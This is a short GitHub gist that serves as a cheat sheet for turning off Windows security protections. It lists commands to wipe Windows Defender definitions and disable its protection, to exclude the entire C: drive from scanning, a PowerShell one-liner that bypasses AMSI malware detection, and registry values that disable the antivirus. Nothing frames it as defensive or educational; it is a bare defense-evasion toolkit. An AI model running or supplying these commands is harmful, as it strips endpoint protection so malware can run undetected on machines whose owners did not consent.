Last active
December 12, 2019 04:51
-
-
Save fiercebrute/01d864c44786bdfd6734bfe8fd2009a1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Disable defender | |
"c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true | |
powershell.exe -noprofile -command QUOTED_COMMAND | |
Ignore malware | |
'Add-MpPreference -ExclusionPath "c:\"' | |
Disable AMSI (powershell detection) | |
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" | |
Registry (Admin rights) | |
\\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender, DisableAntiSpyware and DisableAntiVirus from 0 to 1. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment